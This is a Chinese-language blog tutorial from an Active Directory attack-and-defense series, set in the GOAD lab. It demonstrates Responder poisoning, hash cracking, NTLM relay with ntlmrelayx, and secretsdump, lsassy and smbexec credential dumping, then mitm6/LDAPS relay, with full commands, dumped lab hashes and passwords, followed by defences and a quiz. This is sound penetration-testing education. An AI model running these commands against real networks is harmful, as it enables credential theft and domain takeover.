iT邦幫忙

2025 iThome 鐵人賽

DAY 6
0
Security

資安這條路:AD 攻防實戰演練系列 第 6

AD 攻防實戰演練 Day 6:LLMNR 投毒與 NTLM Relay 實戰

  • 分享至 

  • xImage
  •  

今天我們要進入更深層的攻擊技術:LLMNR/NBT-NS 投毒NTLM Relay 攻擊。這些技術讓我們從「擁有基礎憑證」進展到「劫持網路流量」並「中繼認證到其他系統」,是橫向移動的關鍵技術。當你掌握這些技術後,就能理解為什麼 SMB 簽章如此重要!

學習目標

在完成今天的實作後,將能夠:

  • 使用 Responder 進行 LLMNR/NBT-NS 投毒
  • 執行 NTLM Relay 攻擊奪取系統控制權
  • 理解並實施相關的防禦措施
  • 識別環境中的中繼攻擊風險

前置準備

環境需求

在開始之前,確保已經完成:

  • GOAD 實驗室正常運作
  • 已取得的憑證:
    • samwell.tarly:Heartsbane
    • brandon.stark:iseedeadpeople
    • jon.snow:iknownothing
  • 已識別未簽章的 SMB 服務(Day 2 的掃描結果)

安裝必要工具

# 安裝 Responder
sudo apt update
sudo apt install responder -y

# 下載並安裝最新版 Impacket(包含 ntlmrelayx)
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
python3 -m venv ~/.venvs/impacket
source ~/.venvs/impacket/bin/activate
cd ~/impacket
pip install .

第一部分:理解 LLMNR/NBT-NS 投毒

什麼是 LLMNR 和 NBT-NS?

當 Windows 無法透過 DNS 解析主機名稱時,會使用備用機制:

  • LLMNR (Link-Local Multicast Name Resolution) - 透過多播查詢
  • NBT-NS (NetBIOS Name Service) - 透過廣播查詢
  • mDNS - 類似 LLMNR 的另一種多播協定

攻擊原理

正常流程:
使用者 → DNS 查詢 → 失敗 → LLMNR/NBT-NS 廣播 → 正確主機回應

攻擊流程:
使用者 → DNS 查詢 → 失敗 → LLMNR/NBT-NS 廣播 → 攻擊者搶先回應 → 取得認證

使用 Responder 進行投毒

首先,確認網路介面:

ip addr show | grep "inet"
# 找到連接到 GOAD 網路的介面(如 eth1: 192.168.139.136)

image

啟動 Responder:

sudo responder -I eth1 -wv

image

參數說明:

  • -I eth1:指定網路介面
  • -w:啟用 WPAD(Web Proxy Auto-Discovery)
  • -v:詳細輸出模式

預期輸出:

[+] Listening for events...
[*] [LLMNR]  Poisoned answer sent to 192.168.139.22 for name bravos
[*] [NBT-NS] Poisoned answer sent to 192.168.139.22 for name BRAVOS
[+] Responder is answering to LLMNR/NBT-NS requests from the broadcast domain

image

捕獲 NetNTLMv2 Hash

等待幾分鐘後,應該會看到:

[SMB] NTLMv2-SSP Client   : 192.168.139.22
[SMB] NTLMv2-SSP Username : NORTH\robb.stark  
[SMB] NTLMv2-SSP Hash     : robb.stark::NORTH:1122334455667788:138B29A14C5A082F...

image

image

破解捕獲的 Hash

儲存 hash 到檔案:

cat > responder_hashes.txt << 'EOF'
robb.stark::NORTH:08ce1ae59e0e6457:D93FC81306B4C01BEECD945569E0E01B:010100000000000000946955132ADC018BA920EAB16AA3D600000000020008004E0033004900490001001E00570049004E002D005900580056004C00380039005A003600570049004A0004003400570049004E002D005900580056004C00380039005A003600570049004A002E004E003300490049002E004C004F00430041004C00030014004E003300490049002E004C004F00430041004C00050014004E003300490049002E004C004F00430041004C000700080000946955132ADC0106000400020000000800300030000000000000000000000000300000E981053E0F27716FCFA0F6BCEF5C166F6007D250BF1922C6D6CFA88E844F65530A001000000000000000000000000000000000000900160063006900660073002F0042007200610076006F0073000000000000000000
eddard.stark::NORTH:bdc76ba253d51c00:2BF01F83C2366B98C383D7129800C816:010100000000000000946955132ADC01F06FD66FE77387E100000000020008004E0033004900490001001E00570049004E002D005900580056004C00380039005A003600570049004A0004003400570049004E002D005900580056004C00380039005A003600570049004A002E004E003300490049002E004C004F00430041004C00030014004E003300490049002E004C004F00430041004C00050014004E003300490049002E004C004F00430041004C000700080000946955132ADC0106000400020000000800300030000000000000000000000000300000E981053E0F27716FCFA0F6BCEF5C166F6007D250BF1922C6D6CFA88E844F65530A001000000000000000000000000000000000000900140063006900660073002F004D006500720065006E000000000000000000
EOF

image

使用 hashcat 破解:

hashcat -m 5600 responder_hashes.txt/usr/share/wordlists/rockyou.txt --force

image

結果分析:

  • robb.stark:sexywolfy - 弱密碼,快速破解成功!
  • eddard.stark - 強密碼,無法破解,可改其他方法測試。

第二部分:NTLM Relay 攻擊

為什麼要做 NTLM Relay?

  • 不需要破解密碼
  • 利用合法認證流程
  • 可以取得系統層級存取

NTLM Relay 時效性

  • 注意:NTLM Relay 的連線有時效性
  • SOCKS 代理連線通常在 10-15 分鐘後會超時
  • 需要在時限內完成利用
  • 可透過 socks 指令查看目前的連線

權限需求

  • 執行指令:需要 local admin 或以上權限
  • DCSync:需要 Domain Admin 或具有 DS-Replication 權限
  • 新增電腦帳號:需要 Domain User 即可(預設可新增 10 台)

步驟 1:識別未簽章的 SMB 服務

重新掃描確認目標:

crackmapexec smb 192.168.139.10-23 --gen-relay-list smb_targets.txt
cat smb_targets.txt

image

輸出應該包含:

192.168.139.22 # CASTELBLACK - signing:False
192.168.139.23 # BRAAVOS - signing:False

步驟 2:設定 Responder(僅投毒模式)

修改 Responder 設定,關閉 SMB 和 HTTP 伺服器:

# 關閉 SMB 伺服器(我們要 relay,不要直接捕獲)
sudo vim /usr/share/responder/Responder.conf

# 確認設定
grep -E "SMB|HTTP" /usr/share/responder/Responder.conf

image

步驟 3:啟動 NTLM Relay

cd ~
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket

image

image

在一個終端機啟動 ntlmrelayx:

python3 -m venv ~/.venvs/impacket
source ~/.venvs/impacket/bin/activate
cd ~/impacket
pip install .
ls ~/.venvs/impacket/bin | grep -E 'ntlmrelayx|secretsdump|impacket'
sudo ~/.venvs/impacket/bin/ntlmrelayx.py -tf ~/smb_targets.txt -of netntlm -smb2support -socks

image

參數說明:

  • -tf smb_targets.txt:目標清單檔案
  • -smb2support:支援 SMB2 協定
  • -socks:建立 SOCKS 代理供後續利用
  • -of netntlm: 會同時把 relay 到的 NTLM hash 存下來,方便後續破解

步驟 4:啟動 Responder 投毒

在另一個終端機:

sudo responder -I eth1 -wv

image

步驟 5:等待並利用中繼成功的連線

當 eddard.stark(Domain Admin)的連線被中繼後:

[*] SMBD-Thread-4: Received connection from 192.168.139.11
[*] Authenticating against smb://192.168.139.22 as NORTH\EDDARD.STARK SUCCEED
[*] SOCKS: Adding NORTH/EDDARD.STARK@192.168.139.22 (445) to active SOCKS connection
[*] SOCKS: Adding NORTH/EDDARD.STARK@192.168.139.23 (445) to active SOCKS connection

步驟 6:透過 SOCKS 代理利用中繼的認證

設定 SOCKS 代理

sudo vim /etc/proxychains4.conf

image

[ProxyList]
socks5  127.0.0.1 1080

image

使用 secretsdump 提取憑證

proxychains4 ~/.venvs/impacket/bin/secretsdump.py -no-pass 'NORTH'/'EDDARD.STARK'@'192.168.139.22'

image

預期輸出:


┌──(impacket)─(kali ㉿ kali)-[~]
└─$ proxychains4 ~/.venvs/impacket/bin/secretsdump.py -no-pass 'NORTH'/'EDDARD.STARK'@'192.168.139.22'
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.13.0.dev0+20250919.210843.8426ec99 - Copyright Fortra, LLC and its affiliated companies

[proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.139.22:445  ...  OK
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x97bdbb2a7e445586ab196ea5f4a95269
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:dbd13e1c4e338284ac4e9874f7de6ef4:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:9ab6e3005740e48ad3d422bc52e986ae:::
vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
[*] Dumping cached domain logon information (domain/username:hash)
NORTH.SEVENKINGDOMS.LOCAL/sql_svc:$DCC2$10240#sql_svc#89e701ebbd305e4f5380c5150494584a: (2025-09-16 06:56:09+00:00)
NORTH.SEVENKINGDOMS.LOCAL/robb.stark:$DCC2$10240#robb.stark#f19bfb9b10ba923f2e28b733e5dd1405: (2025-09-18 11:41:51+00:00)
NORTH.SEVENKINGDOMS.LOCAL/jon.snow:$DCC2$10240#jon.snow#82fdcc982f02b389a002732efaca9dc5: (2025-09-19 13:59:52+00:00)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
NORTH\CASTELBLACK$:aes256-cts-hmac-sha1-96:3f73496074e4a6bda4eaea54a048eb80790e36e6c1ecaad480cd5a8b1bf4b439
NORTH\CASTELBLACK$:aes128-cts-hmac-sha1-96:064a4d1d1716e0e6ec467f568c8e6cbf
NORTH\CASTELBLACK$:des-cbc-md5:ce1a4c3bdff4a2fb
NORTH\CASTELBLACK$:plain_password_hex:23004c0069005b003600450041004900380024005b002c005400790041006300630030005b002d004b00340052002f0053005200560046005d0059006c00220049005d007700600049005e00550050006e00590055004000450079006700390041004400610041003a002e007a0043005300390078002f0064003f004d004b00630060006000570062007a0067004b006a0025006a007a002e0067003300450057003600610020003f00670020003f002a00600075002c0043002f004d0022005f007300740040003a003b00360075006e0046002f004b0026004200230024005b0028007a005c002a00360058007000
NORTH\CASTELBLACK$:aad3b435b51404eeaad3b435b51404ee:aa9f662562792331251c9e43b72c5caf:::
[*] DPAPI_SYSTEM
dpapi_machinekey:0x0f1113067198e23d8ab8c582ae795072cdc46d9a
dpapi_userkey:0x96518c271863cd30ca45830c38eaecd1d0bff46e
[*] NL$KM
 0000   A0 B9 07 4A 55 70 F9 F9  FA CC 68 30 15 F5 95 A2   ...JUp....h0....
 0010   58 69 29 AD 87 BA A5 9F  76 EB AC F3 07 63 71 5A   Xi).....v....cqZ
 0020   ED 26 C1 FC 5A 2B D3 25  A0 74 E6 E4 90 53 D5 19   .&..Z+.%.t...S..
 0030   E8 D6 BD D0 F3 36 76 5A  A6 74 1B 5B D8 30 90 2A   .....6vZ.t.[.0.*
NL$KM:a0b9074a5570f9f9facc683015f595a2586929ad87baa59f76ebacf30763715aed26c1fc5a2bd325a074e6e49053d519e8d6bdd0f336765aa6741b5bd830902a
[*] _SC_MSSQL$SQLEXPRESS
north.sevenkingdoms.local\sql_svc:YouWillNotKerboroast1ngMeeeeee
[*] Cleaning up...
[*] Stopping service RemoteRegistry

Hash 類型說明

  • LM:NTLM - 本地帳號 hash,可用於 Pass-the-Hash
  • $MACHINE.ACC - 電腦帳號密碼,用於 Silver Ticket
  • DPAPI - 解密儲存的憑證
  • NL$KM - 解密 LSA secrets
  • DCC2 - 快取的網域憑證,較難破解

使用 lsassy 提取 LSASS 中的憑證

ls ~/.venvs/impacket/bin | grep -E 'lsassy'
proxychains4 lsassy --no-pass -d NORTH -u EDDARD.STARK 192.168.139.22

image

執行指令

proxychains4  ~/.venvs/impacket/bin/smbexec.py -no-pass 'NORTH'/'EDDARD.STARK'@'192.168.139.22' -debug

image

成功取得 system 的權限

第三部分:進階技術 - mitm6 + LDAPS Relay

注意

  1. 需要有開 IPv6 並且測試網段的 Windows 機器會發出 DHCPv6 請求。
  2. 如果測試環境裡的 VM 沒有啟用 IPv6,或是 DNS 固定寫死,不會觸發 mitm6。
  3. 建議:
    • 在 Windows 客戶端上執行 ipconfig /all → 確認是否拿到 IPv6 DNS Servers。
    • 如果沒有,先確保虛擬網卡允許 IPv6、自動 DNS。

環境確認

# 確認目標是否啟用IPv6
ping -6 ::1

# 確認網路支援IPv6
ip -6 addr show

# Windows端確認
ipconfig /all | findstr IPv6

什麼是 mitm6?

mitm6 利用 IPv6 的特性來成為網路中的預設 DNS 伺服器,可以:

  • 回應 DHCPv6 請求
  • 提供惡意 DNS 回應
  • 配合 WPAD 進行中間人攻擊

安裝 mitm6

sudo pip3 install mitm6

image

執行 IPv6 DNS 投毒

# 啟動 mitm6
sudo ~/.venvs/impacket/bin/mitm6 -i eth1 -d north.sevenkingdoms.local --debug

image

配合 ntlmrelayx 攻擊 LDAPS

# 中繼到 LDAPS 並新增電腦帳號
sudo ~/.venvs/impacket/bin/ntlmrelayx.py -6 -wh wpadfakeserver.north.sevenkingdoms.local \
    -t ldaps://192.168.139.11 --add-computer relayedpc --delegate-access

image

當攻擊成功後,會建立一個具有委派權限的電腦帳號,可用於後續的 RBCD 攻擊。

第四部分:防禦措施

1. 啟用 SMB 簽章

# 在所有 Domain Controller 強制啟用
Set-SmbServerConfiguration -RequireSecuritySignature $True -Force

# 在所有成員伺服器啟用
Set-SmbClientConfiguration -RequireSecuritySignature $True -Force

2. 停用 LLMNR 和 NBT-NS

# 透過 GPO 停用 LLMNR
# Computer Configuration → Administrative Templates → Network → DNS Client
# Turn off multicast name resolution → Enabled

# 停用 NBT-NS
# Network Connections → Properties → TCP/IPv4 → Advanced → WINS
# Disable NetBIOS over TCP/IP

3. 停用 WPAD

# 透過 Registry 停用
New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\WinHttpAutoProxySvc" `
    -Name Start -Value 4 -PropertyType DWORD -Force

4. 實施網路分割

  • 將敏感系統放在獨立網段
  • 限制廣播流量的傳播範圍
  • 使用 VLAN 隔離不同安全等級的系統

5. 監控可疑活動

監控以下 Windows 事件:

  • Event ID 4624 - 異常的 NTLM 登入(應該主要使用 Kerberos)
  • Event ID 4625 - 大量失敗的認證嘗試
  • Event ID 4648 - 明確憑證的登入(可能是 relay)
  • Event ID 5145 - 網路共享物件存取

偵測指標

  • 大量來自單一 IP 的 LLMNR/NBT-NS 回應
  • 短時間內多個不同帳號從同一來源 IP 認證
  • Event ID 4624 登入類型 3 配合異常來源 IP
  • SMB 連線後立即執行 secretsdump 特徵行為

實戰練習

情境 1:被動收集

只使用 Responder 收集 hash,不進行 relay:

# 完整模式收集
sudo responder -I eth1 -wFPv
# 分析收集到的 hash
ls -la /usr/share/responder/logs/

情境 2:目標式 Relay

只 relay 特定高權限使用者:

# 建立目標使用者清單
echo "NORTH\eddard.stark" > target_users.txt
# 執行目標式 relay
sudo ntlmrelayx.py -tf smb_targets.txt --target-users target_users.txt -socks

情境 3:執行 DCSync

如果中繼成功且有適當權限:

proxychains4 secretsdump.py -no-pass 'NORTH'/'EDDARD.STARK'@'192.168.139.11' -just-dc

攻擊鏈總結

階段 技術 取得內容 下一步
1 LLMNR 投毒 NetNTLMv2 Hash 破解或 Relay
2 弱密碼破解 robb.stark 密碼 橫向移動
3 NTLM Relay SYSTEM 權限 提取憑證
4 憑證提取 更多 hash / 密碼 持續橫向
5 mitm6+LDAPS 電腦帳號 RBCD 攻擊

故障排除

Responder 沒有捕獲到流量

  • 確認網路介面正確
  • 確認目標系統有嘗試解析不存在的主機名
  • 檢查防火牆規則

NTLM Relay 失敗

  • 確認目標 SMB 未簽章(signing:False
  • 確認 Responder 的 SMB/HTTP 已關閉
  • 確認中繼的帳號有足夠權限

Proxychains 連線失敗

  • 確認 ntlmrelayx 的 SOCKS 代理正在執行
  • 檢查 proxychains 設定(/etc/proxychains4.conf
  • 確認目標仍在 SOCKS 連線清單中

SMB 簽章檢查不一致

如果 crackmapexec 顯示 signing:True 但仍可 relay:

  • 可能是 SMB 簽章未強制執行(enabled 但非 required)
  • 使用 nmap --script smb-security-mode 再次確認

Responder 未捕獲流量

除了現有說明,補充:

  • 確認 Windows 防火牆未封鎖 LLMNR (UDP 5355)
  • 確認 NBT-NS 未被停用 (UDP 137)
  • 可主動觸發:在 Windows 上存取 \fakeshare

本日重點回顧

  • **LLMNR/NBT-NS 投毒 ** 是無需憑證的強大技術
  • NTLM Relay 可以不破解密碼就取得系統存取
  • **SMB 簽章 ** 是防禦 relay 攻擊的關鍵
  • ** 組合攻擊 **(Responder + Relay)威力強大
  • ** 防禦措施 ** 必須多層次部署才有效

小試身手

Q1. 為什麼 NTLM Relay 攻擊對啟用 SMB 簽章的系統無效?

A. SMB 簽章會加密所有流量
B. SMB 簽章確保訊息完整性,防止中間人竄改
C. SMB 簽章會停用 NTLM 認證
D. SMB 簽章會強制使用 Kerberos

Q2. 使用 mitm6 進行攻擊時,主要利用了什麼特性?

A. Windows 預設偏好 IPv4 而非 IPv6
B. Windows 預設偏好 IPv6 而非 IPv4
C. DNS 伺服器不支援 IPv6
D. LDAP 只能透過 IPv6 存取

Q3. 下列哪個工具參數組合最適合執行 NTLM Relay 到 LDAPS?

A. ntlmrelayx.py -t ldap://dc.local
B. ntlmrelayx.py -t ldaps://dc.local --remove-mic
C. responder -I eth0 --ldap
D. mitm6 --relay ldaps://dc.local

Q4. 當你成功 relay 一個 Domain Admin 的連線後,下列哪項操作風險最高?

A. 使用 secretsdump 提取本機的 SAM
B. 透過 smbclient 瀏覽共享資料夾
C. 執行 DCSync 提取 krbtgt hash
D. 使用 lsassy 讀取 LSASS

Q5. 在防禦 LLMNR 投毒時,哪個措施最有效?

A. 啟用 Windows 防火牆
B. 停用 LLMNR 和 NBT-NS 協定
C. 定期更換密碼
D. 安裝防毒軟體


答案與解析

Q1 答案:B
解析:SMB 簽章使用共享金鑰對每個封包進行簽章,確保訊息來自真正的發送者且未被竄改,這使得中間人無法偽造或轉發認證。

Q2 答案:B
解析:Windows 預設偏好 IPv6 優先於 IPv4。mitm6 利用這點,透過回應 DHCPv6 請求來成為網路的 DNS 伺服器。

Q3 答案:B
解析:LDAPS 需要移除 MIC(Message Integrity Check)才能成功 relay,這是 CVE-2019-1040 的利用方式。

Q4 答案:C
解析:DCSync 會提取整個網域的密碼 hash,包括 krbtgt,這能讓攻擊者製作 Golden Ticket,風險極高且難以清除。

Q5 答案:B
解析:直接停用 LLMNR 和 NBT-NS 協定是最根本的防禦,因為沒有這些協定,攻擊者就無法進行投毒。


上一篇
AD 攻防實戰演練 Day 5:BloodHound - 視覺化 AD 攻擊路徑
系列文
資安這條路:AD 攻防實戰演練6
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言